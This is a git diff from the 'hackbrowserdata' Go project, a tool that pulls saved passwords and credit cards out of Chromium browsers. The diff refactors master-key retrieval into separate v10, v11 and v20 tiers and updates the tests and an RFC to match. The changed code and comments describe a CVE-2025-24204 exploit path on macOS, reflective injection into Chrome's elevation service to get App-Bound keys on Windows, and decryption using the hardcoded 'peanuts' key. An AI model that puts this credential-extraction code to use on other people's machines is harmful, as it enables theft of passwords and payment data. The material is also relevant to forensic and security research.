d09b09a..8a4378e 100644 --- a/browser/chromium/extract_creditcard_test.go +++ b/browser/chromium/extract_creditcard_test.go @@ -5,6 +5,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) func setupCreditCardDB(t *testing.T) string { @@ -18,7 +20,7 @@ func setupCreditCardDB(t *testing.T) string { func TestExtractCreditCards(t *testing.T) { path := setupCreditCardDB(t) - got, err := extractCreditCards(nil, path) + got, err := extractCreditCards(keyretriever.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go index 42cca34..98000c6 100644 --- a/browser/chromium/extract_password.go +++ b/browser/chromium/extract_password.go @@ -4,7 +4,7 @@ import ( "database/sql" "sort" - "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -14,13 +14,11 @@ const ( countLoginQuery = `SELECT COUNT(*) FROM logins` ) -func extractPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) { - return extractPasswordsWithQuery(masterKey, path, defaultLoginQuery) +func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { + return extractPasswordsWithQuery(keys, path, defaultLoginQuery) } -func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.LoginEntry, error) { - var decryptFails int - var lastErr error +func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) ([]types.LoginEntry, error) { logins, err := sqliteutil.QueryRows(path, false, query, func(rows *sql.Rows) (types.LoginEntry, error) { var url, username string @@ -29,11 +27,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo if err := rows.Scan(&url, &username, &pwd, &created); err != nil { return types.LoginEntry{}, err } - password, err := decryptValue(masterKey, pwd) - if err != nil { - decryptFails++ - lastErr = err - } + password, _ := decryptValue(keys, pwd) return types.LoginEntry{ URL: url, Username: username, @@ -44,9 +38,6 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo if err != nil { return nil, err } - if decryptFails > 0 { - log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr) - } sort.Slice(logins, func(i, j int) bool { return logins[i].CreatedAt.After(logins[j].CreatedAt) @@ -56,9 +47,9 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo // extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in // action_url instead of origin_url. -func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) { +func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins` - return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery) + return extractPasswordsWithQuery(keys, path, yandexLoginQuery) } func countPasswords(path string) (int, error) { diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go index 446e935..0bc2ff6 100644 --- a/browser/chromium/extract_password_test.go +++ b/browser/chromium/extract_password_test.go @@ -5,6 +5,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) func setupLoginDB(t *testing.T) string { @@ -18,7 +20,7 @@ func setupLoginDB(t *testing.T) string { func TestExtractPasswords(t *testing.T) { path := setupLoginDB(t) - got, err := extractPasswords(nil, path) + got, err := extractPasswords(keyretriever.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -54,7 +56,7 @@ func TestExtractYandexPasswords(t *testing.T) { insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000), ) - got, err := extractYandexPasswords(nil, path) + got, err := extractYandexPasswords(keyretriever.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 1) assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url diff --git a/browser/chromium/source.go b/browser/chromium/source.go index ef5af14..d474baf 100644 --- a/browser/chromium/source.go +++ b/browser/chromium/source.go @@ -3,6 +3,7 @@ package chromium import ( "path/filepath" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/types" ) @@ -68,17 +69,17 @@ func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath { // switch logic, enabling browser-specific parsing (e.g. Opera's opsettings // for extensions, Yandex's credit card table, QBCI-encrypted bookmarks). type categoryExtractor interface { - extract(masterKey []byte, path string, data *types.BrowserData) error + extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error } // passwordExtractor wraps a custom password extract function. type passwordExtractor struct { - fn func(masterKey []byte, path string) ([]types.LoginEntry, error) + fn func(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) } -func (e passwordExtractor) extract(masterKey []byte, path string, data *types.BrowserData) error { +func (e passwordExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error { var err error - data.Passwords, err = e.fn(masterKey, path) + data.Passwords, err = e.fn(keys, path) return err } @@ -87,7 +88,7 @@ type extensionExtractor struct { fn func(path string) ([]types.ExtensionEntry, error) } -func (e extensionExtractor) extract(_ []byte, path string, data *types.BrowserData) error { +func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data *types.BrowserData) error { var err error data.Extensions, err = e.fn(path) return err diff --git a/crypto/keyretriever/keyretriever_darwin.go b/crypto/keyretriever/keyretriever_darwin.go index 6ae49f8..ecc0d57 100644 --- a/crypto/keyretriever/keyretriever_darwin.go +++ b/crypto/keyretriever/keyretriever_darwin.go @@ -155,16 +155,18 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { return darwinParams.deriveKey(secret), nil } -// DefaultRetriever returns the macOS retriever chain, tried in order: +// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher +// prefixes are not used by Chromium on this platform), populated by a within-tier first-success +// chain tried in order: // // 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only) // 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty // 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog) -func DefaultRetriever(keychainPassword string) KeyRetriever { - retrievers := []KeyRetriever{&GcoredumpRetriever{}} +func DefaultRetrievers(keychainPassword string) Retrievers { + chain := []KeyRetriever{&GcoredumpRetriever{}} if keychainPassword != "" { - retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword}) + chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword}) } - retrievers = append(retrievers, &SecurityCmdRetriever{cache: make(map[string]securityResult)}) - return NewChain(retrievers...) + chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)}) + return Retrievers{V10: NewChain(chain...)} } diff --git a/crypto/keyretriever/keyretriever_linux.go b/crypto/keyretriever/keyretriever_linux.go index c77b693..9284e46 100644 --- a/crypto/keyretriever/keyretriever_linux.go +++ b/crypto/keyretriever/keyretriever_linux.go @@ -68,19 +68,30 @@ func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) { return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } -// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable. -// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100 -type FallbackRetriever struct{} +// PosixRetriever produces Chromium's kV10Key by applying PBKDF2 to the hardcoded password +// "peanuts". Matches Chromium's upstream PosixKeyProvider (components/os_crypt/async/browser/ +// posix_key_provider.cc): a deterministic 16-byte AES-128 key used to encrypt ciphertexts with +// the "v10" prefix when no keyring is available (headless servers, Docker, CI). +type PosixRetriever struct{} -func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) { +func (r *PosixRetriever) RetrieveKey(_, _ string) ([]byte, error) { return linuxParams.deriveKey([]byte("peanuts")), nil } -// DefaultRetriever returns the Linux retriever chain: -// D-Bus Secret Service first, then "peanuts" fallback. -func DefaultRetriever() KeyRetriever { - return NewChain( - &DBusRetriever{}, - &FallbackRetriever{}, - ) +// DefaultRetrievers returns the Linux Retrievers, one per cipher tier. Chromium on Linux emits +// distinct prefixes for distinct key sources: +// +// - v10 prefix → PBKDF2("peanuts") — Chromium's kV10Key, emitted when no keyring is available +// (headless servers, Docker, CI). +// - v11 prefix → PBKDF2(keyring secret) — Chromium's kV11Key, emitted when D-Bus Secret +// Service (GNOME Keyring / KWallet) is reachable. +// +// A profile can carry both prefixes if the host moved between keyring-equipped and headless +// sessions, so both tiers run independently with per-tier logging rather than a first-success +// chain. +func DefaultRetrievers() Retrievers { + return Retrievers{ + V10: &PosixRetriever{}, + V11: &DBusRetriever{}, + } } diff --git a/crypto/keyretriever/keyretriever_linux_test.go b/crypto/keyretriever/keyretriever_linux_test.go index 836e123..548ba0a 100644 --- a/crypto/keyretriever/keyretriever_linux_test.go +++ b/crypto/keyretriever/keyretriever_linux_test.go @@ -9,8 +9,8 @@ import ( "github.com/stretchr/testify/require" ) -func TestFallbackRetriever(t *testing.T) { - r := &FallbackRetriever{} +func TestPosixRetriever(t *testing.T) { + r := &PosixRetriever{} key, err := r.RetrieveKey("Chrome", "") require.NoError(t, err) @@ -27,32 +27,40 @@ func TestFallbackRetriever(t *testing.T) { } assert.False(t, allZero, "derived key should not be all zeros") - // "peanuts" is a fixed fallback password, so the result should be - // the same regardless of storage name or number of calls. + // "peanuts" is a hardcoded password, so the result should be the same regardless of storage + // name or number of calls. key2, err := r.RetrieveKey("Brave", "") require.NoError(t, err) - assert.Equal(t, key, key2, "fallback key should be the same for any storage") + assert.Equal(t, key, key2, "kV10Key should be constant across any storage label") } -// TestFallbackRetriever_MatchesChromiumKV10Key pins FallbackRetriever's -// output to Chromium's kV10Key reference bytes in os_crypt_linux.cc. -func TestFallbackRetriever_MatchesChromiumKV10Key(t *testing.T) { +// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key +// reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes). +func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) { want := []byte{ 0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53, 0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78, } - r := &FallbackRetriever{} + r := &PosixRetriever{} key, err := r.RetrieveKey("", "") require.NoError(t, err) assert.Equal(t, want, key) } -func TestDefaultRetriever_Linux(t *testing.T) { - r := DefaultRetriever() - chain, ok := r.(*ChainRetriever) - require.True(t, ok, "DefaultRetriever should return a *ChainRetriever") +func TestDefaultRetrievers_Linux(t *testing.T) { + r := DefaultRetrievers() - assert.Len(t, chain.retrievers, 2, "chain should have 2 retrievers") - assert.IsType(t, &DBusRetriever{}, chain.retrievers[0], "first retriever should be DBusRetriever") - assert.IsType(t, &FallbackRetriever{}, chain.retrievers[1], "second retriever should be FallbackRetriever") + // V10 slot: peanuts-derived kV10Key — PosixRetriever. + assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)") + + // V11 slot: D-Bus keyring kV11Key — DBusRetriever. + assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)") + + // V20 slot: ABE is Windows-only, nil on Linux. + assert.Nil(t, r.V20, "V20 slot must stay nil on Linux") + + // Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may + // fail in test env, which is fine — we only want to confirm the wiring, not real keys). + require.NotNil(t, r.V10) + require.NotNil(t, r.V11) } diff --git a/crypto/keyretriever/keyretriever_windows.go b/crypto/keyretriever/keyretriever_windows.go index d5a940a..14a0054 100644 --- a/crypto/keyretriever/keyretriever_windows.go +++ b/crypto/keyretriever/keyretriever_windows.go @@ -48,6 +48,14 @@ func (r *DPAPIRetriever) RetrieveKey(_, localStatePath string) ([]byte, error) { return masterKey, nil } -func DefaultRetriever() KeyRetriever { - return NewChain(&ABERetriever{}, &DPAPIRetriever{}) +// DefaultRetrievers returns the Windows Retrievers: DPAPI for v10 (Chrome's os_crypt.encrypted_key) +// and ABE for v20 (Chrome 127+ os_crypt.app_bound_encrypted_key retrieved via reflective injection +// into the browser's elevation service). Both run independently — a single Chrome profile upgraded +// from pre-v127 carries mixed v10+v20 ciphertexts, and both tiers must be attempted to decrypt the +// full profile (see issue #578). +func DefaultRetrievers() Retrievers { + return Retrievers{ + V10: &DPAPIRetriever{}, + V20: &ABERetriever{}, + } } diff --git a/crypto/keyretriever/masterkeys.go b/crypto/keyretriever/masterkeys.go new file mode 100644 index 0000000..0e24211 --- /dev/null +++ b/crypto/keyretriever/masterkeys.go @@ -0,0 +1,72 @@ +package keyretriever + +import ( + "errors" + "fmt" +) + +// MasterKeys bundles the per-cipher-version Chromium master keys used to decrypt data from a +// single profile. decryptValue dispatches on the ciphertext's version prefix and picks the +// matching key; a missing (nil) key for a tier means "that cipher version cannot be decrypted", +// but the other tiers remain usable — a Chrome 127+ profile upgraded from pre-127 carries mixed +// v10+v20 ciphertexts, and Linux profiles may carry mixed v10+v11 for analogous reasons. +// +// - V10: Chrome 80+ key with "v10" cipher prefix. +// - Windows: os_crypt.encrypted_key decrypted by user-level DPAPI (AES-GCM ciphertexts). +// - macOS: derived from Keychain via PBKDF2(1003, SHA-1) (AES-CBC ciphertexts). +// - Linux: derived from "peanuts" hardcoded password (Chromium's kV10Key, AES-CBC). +// - V11: Chrome Linux key with "v11" cipher prefix, derived from D-Bus Secret Service +// (KWallet / GNOME Keyring) via PBKDF2. Nil on Windows and macOS (v11 prefix not used there). +// - V20: Chrome 127+ Windows key with "v20" cipher prefix, retrieved via reflective injection +// into the browser's elevation service. Nil on non-Windows platforms. +type MasterKeys struct { + V10 []byte + V11 []byte + V20 []byte +} + +// Retrievers is the per-tier retriever configuration passed to NewMasterKeys. Each slot runs +// independently — failure or absence of one tier does not affect others. Platform injectors set +// only the slots that apply to their platform and leave the rest nil (e.g. Linux populates +// V10+V11, leaves V20 nil). +type Retrievers struct { + V10 KeyRetriever + V11 KeyRetriever + V20 KeyRetriever +} + +// NewMasterKeys fetches every configured tier in r independently and returns the assembled +// MasterKeys together with any per-tier errors joined into one. Nil retrievers and retrievers +// returning (nil, nil) (the "not applicable" signal — e.g. ABERetriever on a non-ABE fork) +// contribute nil keys silently; only non-nil errors propagate. +// +// The returned error, when non-nil, is an errors.Join of per-tier failures formatted as +// ": " (e.g. "v10: dpapi decrypt: ..."). Callers are expected to log it at whatever +// severity fits their context — this function itself never logs, leaving logging policy to its +// callers. Other pieces of the keyretriever package (e.g. ChainRetriever) may still log on their +// own failures; the "no-logging" guarantee is scoped to NewMasterKeys. +func NewMasterKeys(r Retrievers, storage, localStatePath string) (MasterKeys, error) { + var keys MasterKeys + var errs []error + + for _, t := range []struct { + name string + r KeyRetriever + dst *[]byte + }{ + {"v10", r.V10, &keys.V10}, + {"v11", r.V11, &keys.V11}, + {"v20", r.V20, &keys.V20}, + } { + if t.r == nil { + continue + } + k, err := t.r.RetrieveKey(storage, localStatePath) + if err != nil { + errs = append(errs, fmt.Errorf("%s: %w", t.name, err)) + continue + } + *t.dst = k + } + return keys, errors.Join(errs...) +} diff --git a/crypto/keyretriever/masterkeys_test.go b/crypto/keyretriever/masterkeys_test.go new file mode 100644 index 0000000..1b79932 --- /dev/null +++ b/crypto/keyretriever/masterkeys_test.go @@ -0,0 +1,178 @@ +package keyretriever + +import ( + "bytes" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// recordingRetriever captures call count and arguments so tests can verify each tier's retriever +// is invoked exactly once with the expected storage and localStatePath. +type recordingRetriever struct { + key []byte + err error + + calls int + gotStorage string + gotPath string +} + +func (r *recordingRetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) { + r.calls++ + r.gotStorage = storage + r.gotPath = localStatePath + return r.key, r.err +} + +func TestNewMasterKeys_Matrix(t *testing.T) { + k10 := bytes.Repeat([]byte{0x10}, 32) + k11 := bytes.Repeat([]byte{0x11}, 32) + k20 := bytes.Repeat([]byte{0x20}, 32) + + tests := []struct { + name string + v10 *recordingRetriever + v11 *recordingRetriever + v20 *recordingRetriever + wantV10 []byte + wantV11 []byte + wantV20 []byte + wantErrParts []string // substrings that must all appear in the joined error; nil = no error + }{ + { + name: "Windows happy path (V10+V20 ok, V11 not configured)", + v10: &recordingRetriever{key: k10}, + v20: &recordingRetriever{key: k20}, + wantV10: k10, wantV20: k20, + }, + { + name: "Linux happy path (V10+V11 ok, V20 not configured)", + v10: &recordingRetriever{key: k10}, + v11: &recordingRetriever{key: k11}, + wantV10: k10, wantV11: k11, + }, + { + name: "macOS happy path (V10 only)", + v10: &recordingRetriever{key: k10}, + wantV10: k10, + }, + { + name: "all three tiers succeed", + v10: &recordingRetriever{key: k10}, + v11: &recordingRetriever{key: k11}, + v20: &recordingRetriever{key: k20}, + wantV10: k10, wantV11: k11, wantV20: k20, + }, + { + name: "one tier errors, others succeed (degraded)", + v10: &recordingRetriever{key: k10}, + v20: &recordingRetriever{err: errors.New("inject failed")}, + wantV10: k10, + wantErrParts: []string{"v20: inject failed"}, + }, + { + name: "two tiers error, one succeeds", + v10: &recordingRetriever{key: k10}, + v11: &recordingRetriever{err: errors.New("dbus failed")}, + v20: &recordingRetriever{err: errors.New("inject failed")}, + wantV10: k10, + wantErrParts: []string{"v11: dbus failed", "v20: inject failed"}, + }, + { + name: "all three tiers error (total failure)", + v10: &recordingRetriever{err: errors.New("dpapi failed")}, + v11: &recordingRetriever{err: errors.New("dbus failed")}, + v20: &recordingRetriever{err: errors.New("inject failed")}, + wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"}, + }, + { + name: "tier returns (nil, nil) — not applicable, silent", + v10: &recordingRetriever{key: k10}, + v20: &recordingRetriever{}, // ABERetriever on non-ABE fork + wantV10: k10, + }, + { + name: "all tiers (nil, nil) — no keys, no errors", + v10: &recordingRetriever{}, + v11: &recordingRetriever{}, + v20: &recordingRetriever{}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + var r Retrievers + if tt.v10 != nil { + r.V10 = tt.v10 + } + if tt.v11 != nil { + r.V11 = tt.v11 + } + if tt.v20 != nil { + r.V20 = tt.v20 + } + + keys, err := NewMasterKeys(r, "chrome", "/tmp/Local State") + assert.Equal(t, tt.wantV10, keys.V10) + assert.Equal(t, tt.wantV11, keys.V11) + assert.Equal(t, tt.wantV20, keys.V20) + + if len(tt.wantErrParts) == 0 { + require.NoError(t, err) + } else { + require.Error(t, err) + for _, part := range tt.wantErrParts { + assert.Contains(t, err.Error(), part, "joined error should mention each failing tier") + } + } + + // Every configured retriever must be called exactly once — this is the property + // that prevents any regression where a tier is silently bypassed. + for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} { + if mock == nil { + continue + } + assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name) + assert.Equal(t, "chrome", mock.gotStorage) + assert.Equal(t, "/tmp/Local State", mock.gotPath) + } + }) + } +} + +func TestNewMasterKeys_AllNilRetrievers(t *testing.T) { + // All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up. + keys, err := NewMasterKeys(Retrievers{}, "chrome", "/tmp/Local State") + require.NoError(t, err) + assert.Nil(t, keys.V10) + assert.Nil(t, keys.V11) + assert.Nil(t, keys.V20) +} + +func TestNewMasterKeys_PartialNil(t *testing.T) { + // Only V10 wired — typical macOS shape. V11/V20 left nil. + k10 := []byte("v10-key-bytes-for-testing") + r := &recordingRetriever{key: k10} + keys, err := NewMasterKeys(Retrievers{V10: r}, "Chrome", "") + + require.NoError(t, err) + assert.Equal(t, k10, keys.V10) + assert.Nil(t, keys.V11) + assert.Nil(t, keys.V20) + assert.Equal(t, 1, r.calls) + assert.Equal(t, "Chrome", r.gotStorage) +} + +func TestNewMasterKeys_ErrorWrapping(t *testing.T) { + // errors.Is should traverse errors.Join to find the original error — useful for callers + // that want to check for specific error types without string matching. + sentinel := errors.New("sentinel") + r := Retrievers{V20: &recordingRetriever{err: sentinel}} + + _, err := NewMasterKeys(r, "chrome", "") + require.Error(t, err) + assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error") +} diff --git a/crypto/version.go b/crypto/version.go index 2c593d8..085c273 100644 --- a/crypto/version.go +++ b/crypto/version.go @@ -14,6 +14,12 @@ const ( // CipherV20 is Chrome 127+ App-Bound Encryption. CipherV20 CipherVersion = "v20" + // CipherV12 is Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) tier — + // HKDF-SHA256 + AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. + // Recognized by DetectVersion so decryptValue can emit a known-gap error rather than a + // generic "unsupported cipher version" message; not yet implemented. + CipherV12 CipherVersion = "v12" + // CipherDPAPI is pre-Chrome 80 raw DPAPI encryption (no version prefix). CipherDPAPI CipherVersion = "dpapi" @@ -32,6 +38,8 @@ func DetectVersion(ciphertext []byte) CipherVersion { return CipherV10 case "v11": return CipherV11 + case "v12": + return CipherV12 case "v20": return CipherV20 default: @@ -43,7 +51,7 @@ func DetectVersion(ciphertext []byte) CipherVersion { // Returns the ciphertext unchanged if no known prefix is found. func stripPrefix(ciphertext []byte) []byte { ver := DetectVersion(ciphertext) - if ver == CipherV10 || ver == CipherV11 || ver == CipherV20 { + if ver == CipherV10 || ver == CipherV11 || ver == CipherV12 || ver == CipherV20 { return ciphertext[versionPrefixLen:] } return ciphertext diff --git a/crypto/version_test.go b/crypto/version_test.go index 6f599ac..77b08d4 100644 --- a/crypto/version_test.go +++ b/crypto/version_test.go @@ -14,6 +14,7 @@ func TestDetectVersion(t *testing.T) { }{ {"v10 prefix", []byte("v10" + "encrypted_data"), CipherV10}, {"v11 prefix", []byte("v11" + "encrypted_data"), CipherV11}, + {"v12 prefix", []byte("v12" + "encrypted_data"), CipherV12}, {"v20 prefix", []byte("v20" + "encrypted_data"), CipherV20}, {"no prefix (DPAPI)", []byte{0x01, 0x00, 0x00, 0x00}, CipherDPAPI}, {"short input", []byte{0x01, 0x02}, CipherDPAPI}, @@ -36,6 +37,7 @@ func Test_stripPrefix(t *testing.T) { }{ {"strips v10", []byte("v10PAYLOAD"), []byte("PAYLOAD")}, {"strips v11", []byte("v11PAYLOAD"), []byte("PAYLOAD")}, + {"strips v12", []byte("v12PAYLOAD"), []byte("PAYLOAD")}, {"strips v20", []byte("v20PAYLOAD"), []byte("PAYLOAD")}, {"keeps DPAPI unchanged", []byte{0x01, 0x00, 0x00}, []byte{0x01, 0x00, 0x00}}, {"keeps short unchanged", []byte{0x01}, []byte{0x01}}, diff --git a/rfcs/006-key-retrieval-mechanisms.md b/rfcs/006-key-retrieval-mechanisms.md index 259660f..72a607a 100644 --- a/rfcs/006-key-retrieval-mechanisms.md +++ b/rfcs/006-key-retrieval-mechanisms.md @@ -22,8 +22,8 @@ For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](00 The interface takes two parameters: -- **`storage`** — keychain/keyring label identifying the browser's secret (e.g. `"Chrome"` on macOS, `"Chrome Safe Storage"` on Linux). Unused on Windows. -- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows. +- **`storage`** — platform-dependent identifier. On macOS it's the Keychain account label (e.g. `"Chrome"`); on Linux it's the D-Bus collection label (e.g. `"Chrome Safe Storage"`); on Windows it's the browser key used by `ABERetriever` to locate the elevation-service COM interface (e.g. `"chrome"`, `"edge"`). Ignored by `DPAPIRetriever`. +- **`localStatePath`** — path to `Local State` JSON file. Only used on Windows (DPAPI + ABE both read it). The return value is the **ready-to-use decryption key** — either the raw AES key (Windows) or the PBKDF2-derived key (macOS/Linux). @@ -75,7 +75,7 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor ## 4. Windows Key Retrieval -Chromium on Windows stores the master key in `Local State` JSON, encrypted with DPAPI. +Chromium on Windows stores **two** master keys in `Local State` JSON: a legacy v10 key (`os_crypt.encrypted_key`, DPAPI-wrapped) and, since Chrome 127, an App-Bound Encryption v20 key (`os_crypt.app_bound_encrypted_key`, IElevator-wrapped). Both tiers can coexist on a single profile — Chrome 127+ encrypts *new* cookies with v20 but leaves pre-existing passwords and old cookies on v10 — so the retriever layer fetches both keys independently rather than via a ChainRetriever (see §4.4 and issue #578). ### 4.1 DPAPI Background @@ -106,24 +106,43 @@ The implementation loads `Crypt32.dll` at runtime via `syscall.NewLazyDLL` and c Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermediate password, no derivation step. The key is used as-is for AES-256-GCM decryption (see [RFC-003](003-chromium-encryption.md)). -### 4.4 Single Retriever +### 4.4 Dual-Tier Retrievers (V10 + V20) -Windows uses only `DPAPIRetriever` — no chain needed. Both `storage` and `keychainPassword` parameters are ignored. +Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there). + +| Slot | Retriever | Source field | Mechanism | +|------|-----------|--------------|-----------| +| V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) | +| V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) | + +`browser/browser_windows.go::newPlatformInjector` calls `keyretriever.DefaultRetrievers()` and wires the resulting struct through `Browser.SetKeyRetrievers(r)`. At extract time `keyretriever.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful. + +**Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output. + +**Non-ABE Chromium forks** (Opera, Vivaldi, Yandex, 360, QQ, Sogou) have `Storage: ""` in `platformBrowsers()`. `ABERetriever` returns `(nil, nil)` for empty storage, which `NewMasterKeys` treats silently as "not applicable" — so attempting ABE on these forks is a no-op, not a failure. Their V10 DPAPI key continues to work unchanged. ## 5. Linux Key Retrieval -### 5.1 Retrieval Strategies +### 5.1 Dual-Tier Retrievers (V10 + V11) -**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name. +Linux populates two slots of the `keyretriever.Retrievers` struct — one per cipher prefix that Chromium emits on this platform: -**FallbackRetriever** — when D-Bus is unavailable (headless servers, Docker, CI), uses the hardcoded password `"peanuts"`. This matches Chromium's own fallback behavior. +| Slot | Prefix | Retriever | Mechanism | Chromium name | +|------|--------|-----------|-----------|---------------| +| V10 | `v10` | `PosixRetriever` | PBKDF2(`"peanuts"`) | kV10Key (matches upstream `PosixKeyProvider`) | +| V11 | `v11` | `DBusRetriever` | PBKDF2(D-Bus Secret Service password) | kV11Key (matches upstream `FreedesktopSecretKeyProvider`) | -### 5.2 Chain Order +V20 stays nil on Linux (App-Bound Encryption is Windows-only). v12 (Chromium's `SecretPortalKeyProvider`, Flatpak/xdg-desktop-portal) is a separate tier not yet implemented — see the `CipherV12` case in `decryptValue`. -| Priority | Strategy | Requires | Interactive? | -|----------|----------|----------|:------------:| -| 1 | D-Bus Secret Service | D-Bus session + keyring | No | -| 2 | Fallback (`"peanuts"`) | Nothing | No | +**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name. Populates the V11 slot because Chromium emits v11 prefix only when keyring access succeeds. + +**PosixRetriever** — uses the hardcoded `"peanuts"` password that Chromium derives into a fixed 16-byte AES-128 key (kV10Key). Populates the V10 slot because Chromium emits v10 prefix for data encrypted with this key. Always succeeds deterministically. + +### 5.2 Why Two Slots, Not a Chain + +A profile can carry **both** v10 and v11 ciphertexts if the host has moved between keyring-equipped and headless sessions — e.g. a laptop that was once used in a headless shell then later in a full desktop session. The old `ChainRetriever{DBus, Fallback}` had first-success semantics: if D-Bus worked, peanuts was never called, leaving v10 ciphertexts undecryptable. + +The split mirrors the Windows V10/V20 fix (§4.4) and the root-cause logic of issue #578: distinct cipher prefixes map to distinct key sources, so the retriever layer must produce both keys independently rather than picking "one winning" key. ### 5.3 PBKDF2 Derivation @@ -146,11 +165,11 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor ## 6. Platform Summary -| Platform | Chain | PBKDF2 | Key Size | -|----------|-------|:------:|----------| -| macOS | Gcoredump → KeychainPassword* → SecurityCmd | 1003 iterations | AES-128 | -| Windows | DPAPI only | No | AES-256 | -| Linux | DBus → Fallback | 1 iteration | AES-128 | +| Platform | Retrievers (slots populated) | PBKDF2 | Key Size | +|----------|------------------------------|:------:|----------| +| macOS | V10 = chain(Gcoredump → KeychainPassword* → SecurityCmd) | 1003 iterations | AES-128 | +| Windows | V10 = DPAPIRetriever; V20 = ABERetriever (Chrome 127+) | No | AES-256 | +| Linux | V10 = PosixRetriever ("peanuts" kV10Key); V11 = DBusRetriever (keyring kV11Key) | 1 iteration | AES-128 | \* Only included when `--keychain-pw` is provided. @@ 